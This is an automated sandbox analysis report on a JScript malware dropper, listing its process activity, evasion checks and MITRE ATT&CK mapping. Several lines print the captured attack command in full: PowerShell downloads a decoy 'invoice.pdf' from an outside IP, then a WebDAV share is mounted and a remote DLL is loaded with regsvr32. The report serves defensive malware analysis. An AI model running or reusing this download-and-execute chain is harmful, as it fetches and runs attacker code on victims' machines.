Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5301.js.csv");ITextStream.WriteLine(" entry:8118 f:nnvyhtpjj");ITextStream.WriteLine(" exec:2 f:nnvyhtpjj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49788

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4427			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5444			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep count: 4427 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892	Thread sleep count: 5444 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4240	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1460323460.0000016924CF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1460323460.0000016924D55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2665075344.0000021F38C4E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2663884514.0000021F33624000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\39781384623827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
